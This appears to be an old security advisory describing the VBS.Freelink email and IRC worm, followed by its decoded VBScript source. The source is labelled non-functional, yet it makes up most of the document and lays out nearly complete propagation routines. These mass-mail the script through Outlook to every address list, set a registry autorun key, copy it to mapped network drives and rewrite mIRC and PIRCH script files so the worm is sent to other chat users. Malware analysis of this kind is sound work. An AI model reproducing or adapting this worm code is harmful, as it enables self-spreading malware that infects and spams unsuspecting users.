|
|
|
|
| |
| The email Trojan called VBS.Freelink (also know as links.vbs, rundll.vbs) continues to spread across the Internet. This Trojan isn't harmful but it is very contagious due to the fact that spreads around using both an email client and an IRC client. |
| |
Credit:
This information has been provided by: Abid Hussain Oonwala.
The Trojan's source code has been provided by: .rain.forest.puppy..
|
| |
VBS.Freelink is an encrypted worm that will work under Windows 98, Windows 2000 and all the other Windows supporting VB Scripting language. Once the worm is launched, it will use MS Outlook to automatically send an email with an attachment of itself. Similar to the Melissa virus, this worm uses MAPI calls to get user profiles from MS Outlook. The subject of the email message generated by this worm is:
"Check this"
And the body of the message is:
" Have fun with these links. Bye".
When the attached file is executed, it will create the following two files:
C:\WINDOWS\LINKS.VBS
C:\WINDOWS\SYSTEM\RUNDLL.VBS
It will also create a file called LINKS.VBS in the root of all network drives that are currently mapped. Next, the worm will modify the following registry to execute every time the machine boots up:
HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\
CurrentVersion\Run\Rundll=RUNDLL.VBS
After infecting a system, it will displays a dialog box title "Free XXX links" with following content:
"This will add a shortcut to free XXX links on your desktop. Do you want to continue"
If the user selects yes, it will create a shortcut pointing to an adult web site.
It also searches for MIRC32.EXE and PIRCH98.EXE chat programs in C:\MIRC , C:\PIRCH98, C:\PROGRAM FILES and the sub directories of each of these directories. If it finds either of these programs, it will modify the corresponding SCRIPT.INI file or EVENTS.INI located in the same directory. These INI files will cause LINKS.VBS to be sent to other people during the IRC sessions.
The following attached code, is the decoded Trojan:
'this is the decoded virus (not functional)
On Error Resume Next
Set A1 = CreateObject("Scripting.FileSystemObject")
Set A2 = A1.OpenTextFile(WScript.ScriptFullName,1)
Do While A2.AtEndOfStream = False And Mid(A3,40,10) <> "`sd]Lhbsnr"
A3 = A2.ReadLine ' this will be the regwrite line
Loop
A2.Close
Set A4 =
A1.CreateTextFile(A1.BuildPath(A1.GetSpecialFolder(1),"RUNDLL.VBS",True)
'
'
' Start A4.Writeline decoded mess
'
' Essentially of of these where wrappered in A4.WriteLine(), and would be
written to
' A4 (text file opened above)
'
' Note that spacing and comments are my own
'
' ------------------------------------------------------------------------
' Being child script
'
On Error Resume Next
Set A1 = CreateObject("Scripting.FileSystemObject")
Set A2 = A1.OpenTextFile(WScript.ScriptFullName,1)
Do While A2.AtEndOfStream = False And Mid(A3,43,10) <> "f[Njdqptpe"
A3 = A2.ReadLine
Loop
A2.Close
Set A4 =
A1.CreateTextFile(A1.BuildPath(A1.GetSpecialFolder(0),"LINKS.VBS"),True)
' A4 is going to reconstruct the original doc
A4.WriteLine("On Error Resume Next")
A4.WriteLine("Set A1 = CreateObject(""Scripting.FileSystemObject"")")
A4.WriteLine("Set A2 = A1.OpenTextFile(WScript.ScriptFullName,1)")
A4.WriteLine("Do While A2.AtEndOfStream = False And Mid(A3,40,10) <>
""`sd]Lhbsnr""")
A4.WriteLine("A3 = A2.ReadLine")
A4.WriteLine("Loop")
A4.WriteLine("A2.Close")
A4.WriteLine("Set A4 =
A1.CreateTextFile(A1.BuildPath(A1.GetSpecialFolder(1),""RUNDLL.VBS"",True)")
Set A5 = A1.OpenTextFile(WScript.ScriptFullName,1)
Do While A5.AtEndOfStream = False
A4.WriteLine("A4.WriteLine(B(""" & C(Replace(A5.ReadLine, """","""""") &
"""))")
Loop ' re-encode ourselves and put us back
A5.Close
'
' ----------------------------------------------------------------------
' Write this to the end of A4 (sub-sub script)
'
A4.Close
Set A5 = CreateObject("WScript.Shell")
A5.RegWrite
"HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\
CurrentVersion\Run\Rundll", A1.BuildPath(A1.GetSpecialFolder(1),"RUNDLL.VBS")
If MsgBox("This will add a shortcut to free XXX links on your desktop. Do
you want to continue?",36,"Free XXX links") = 6 Then
Set A6 =
A1.CreateTextFile(A1.BuildPath(A5.SpecialFolders("Desktop"),"FREE XXX
LINKS.URL",True)
A6.WriteLine("[InternetShortcut]")
A6.WriteLine("URL=http://www.sublimedirectory.com/")
A6.Close
End If
Set A7 = CreateObject("WScript.Network")
Set A8 = A7.EnumNetworkDrives
If A8.Count <> 0 Then
For A9 = 0 To A8.Count - 1
If InStr(A8.Item(A9),B("]]")) <> 0 Then
A1.CopyFile WScript.ScriptFullName,
A1.BuildPath(A8.Item(A9),"LINKS.VBS")
End If
Next
End If
Set A10 = CreateObject("Outlook.Application")
Set A11 = A10.GetNameSpace("MAPI")
For Each A12 In A11.AddressLists
Set A13 = A10.CreateItem(0)
For A14 = 1 To A12.AddressEntries.Count
Set A15 = A12.AddressEntries(A14)
If A14 = 1 Then
A13.BCC = A15.Address
Else
A13.BCC = A13.BCC & ";" & A15.Address
End If
Next
A13.Subject = "Check this"
A13.Body = "Have fun with these links." & Chr(13) & Chr(10) & "Bye."
A13.Attachments.Add WScript.ScriptFullName
A13.DeleteAfterSubmit = True
A13.Send
Next
Function B(B1) ' was the decode function
For B2 = 1 To Len(B1)
If Asc(Mid(B1,B2,1)) <> 34 And Asc(Mid(B1,B2,1)) <> 35 And
Asc(Mid(B1,B2,1)) <> 126 Then
If Asc(Mid(B1,B2,1)) Mod 2 = 0 Then
B = B & Chr(Asc(Mid(B1,B2,1)) + Right(Asc(Mid(A3,70,1)) + 1,1))
Else
B = B & Chr(Asc(Mid(B1,B2,1)) - Right(Asc(Mid(A3,70,1)) + 1,1))
End If
Else
B = B & Mid(B1,B2,1)
End If
Next
End Function
'
' End crap written to A4 (sub-sub script to create original)
'
-----------------------------------------------------------------------------
'
A4.Close
' this attempts to infect IRC script files found on all drives
For Each A6 In A1.Drives
If A6.DriveType = 2 Then
D A6.DriveLetter & ":\MIRC"
D A6.DriveLetter & ":\PIRCH98"
End If
Next
Set A7 = CreateObject("WScript.Shell")
D A7.RegRead("HKEY_LOCAL_MACHINE\Software\Microsoft\
Windows\CurrentVersion\ProgramFilesDir")
Function B(B1) ' function to decode
For B2 = 1 To Len(B1)
If Asc(Mid(B1,B2,1)) <> 32 And Asc(Mid(B1,B2,1)) <> 33 And
Asc(Mid(B1,B2,1)) <> 34 And Asc(Mid(B1,B2,1)) <> 160 And Asc(Mid(B1,B2,1))
<> 255 Then
If Asc(Mid(B1,B2,1)) Mod 2 = 0 Then
B = B & Chr(Asc(Mid(B1,B2,1)) - Right(Asc(Mid(A3,8,1)) - 2,1))
Else
B = B & Chr(Asc(Mid(B1,B2,1)) + Right(Asc(Mid(A3,8,1)) - 2,1))
End If
Else
B = B & Mid(B1,B2,1)
End If
Next
End Function
Function C(C1) ' function to encode
For C2 = 1 To Len(C1)
If Asc(Mid(C1,C2,1)) <> 34 And Asc(Mid(C1,C2,1)) <> 35 And
Asc(Mid(C1,C2,1)) <> 126 Then
If Asc(Mid(C1,C2,1)) Mod 2 = 0 Then
C = C & Chr(Asc(Mid(C1,C2,1)) + Right(Asc(Mid(A3,18,1)) + 5,1))
Else
C = C & Chr(Asc(Mid(C1,C2,1)) - Right(Asc(Mid(A3,18,1)) + 5,1))
End If
Else
C = C & Mid(C1,C2,1)
End If
Next
End Function
Sub D(D1) ' infect IRC scripts
If A1.FolderExists(D1) = True Then
For Each D2 In A1.GetFolder(D1).Files
If UCase(D2.Name) = "MIRC32.EXE" Then
Set D3 =
A1.CreateTextFile(A1.BuildPath(D2.ParentFolder,"SCRIPT.INI"),True)
D3.WriteLine("[script]")
D3.WriteLine("n0=on 1:join:#:if $me != $nick dcc send $nick") &
A1.BuildPath(A1.GetSpecialFolder(0),"LINKS.VBS"))
D3.Close
End If
If UCase(D2.Name) = "PIRCH98.EXE" Then
Set D4 = A1.CreateTextFile(A1.BuildPath(D2.ParentFolder,
"EVENTS.INI"),True)
'
' Printed decoded output to D4 (Pirch98's events.ini)
'
[Levels]
Enabled=1
Count=6
Level1=000-Unknowns
000-UnknownsEnabled=1
Level2=100-Level 100
100-Level 100Enabled=1
Level3=200-Level 200
200-Level 200Enabled=1
Level4=300-Level 300
300-Level 300Enabled=1
Level5=400-Level 400
400-Level 400Enabled=1
Level6=500-Level 500
500-Level 500Enabled=1
[000-Unknowns]
User1=*!*@*
UserCount=1
'
' Notice code here
'
D4.WriteLine("Event1=ON JOIN:#:/dcc send $nick " &
A1.BuildPath(A1.GetSpecialFolder(0),"LINKS.VBS"))
'
'
'
EventCount=1
[100-Level 100]
UserCount=0
EventCount=0
[200-Level 200]
UserCount=0
EventCount=0
[300-Level 300]
UserCount=0
EventCount=0
[400-Level 400]
UserCount=0
EventCount=0
[500-Level 500]
UserCount=0
EventCount=0
'
' End decoded output to A1
'
D4.Close
End If
Next
For Each D5 In A1.GetFolder(D1).SubFolders
D D5.Path
Next
End If
End Sub
'
' End child script
'
-------------------------------------------------------------
'
A4.Close
Set A5 = CreateObject("WScript.Shell")
A5.RegWrite
"HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\
CurrentVersion\Run\Rundll", A1.BuildPath(A1.GetSpecialFolder(1),"RUNDLL.VBS")
If MsgBox("This will add a shortcut to free XXX links on your desktop. Do
you want to continue?",36,"Free XXX links") = 6 Then
Set A6 =
A1.CreateTextFile(A1.BuildPath(A5.SpecialFolders("Desktop"),"FREE XXX
LINKS.URL",True)
A6.WriteLine("[InternetShortcut]")
A6.WriteLine("URL=http://www.sublimedirectory.com/")
A6.Close
End If
Set A7 = CreateObject("WScript.Network")
Set A8 = A7.EnumNetworkDrives
If A8.Count <> 0 Then
For A9 = 0 To A8.Count - 1
If InStr(A8.Item(A9),"\\") <> 0 Then
A1.CopyFile WScript.ScriptFullName,
A1.BuildPath(A8.Item(A9),"LINKS.VBS")
End If
Next
End If
Set A10 = CreateObject("Outlook.Application")
Set A11 = A10.GetNameSpace("MAPI")
For Each A12 In A11.AddressLists
Set A13 = A10.CreateItem(0)
For A14 = 1 To A12.AddressEntries.Count
Set A15 = A12.AddressEntries(A14)
If A14 = 1 Then
A13.BCC = A15.Address
Else
A13.BCC = A13.BCC & ";" & A15.Address
End If
Next
A13.Subject = "Check this"
A13.Body = "Have fun with these links." & Chr(13) & Chr(10) & "Bye."
A13.Attachments.Add WScript.ScriptFullName
A13.DeleteAfterSubmit = True
A13.Send
Next
Function B(B1) ' was the decode function
For B2 = 1 To Len(B1)
If Asc(Mid(B1,B2,1)) <> 34 And Asc(Mid(B1,B2,1)) <> 35 And
Asc(Mid(B1,B2,1)) <> 126 Then
If Asc(Mid(B1,B2,1)) Mod 2 = 0 Then
B = B & Chr(Asc(Mid(B1,B2,1)) + Right(Asc(Mid(A3,70,1)) + 1,1))
Else
B = B & Chr(Asc(Mid(B1,B2,1)) - Right(Asc(Mid(A3,70,1)) + 1,1))
End If
Else
B = B & Mid(B1,B2,1)
End If
Next
End Function
|
|
|
|
|
|
|
|
|
|
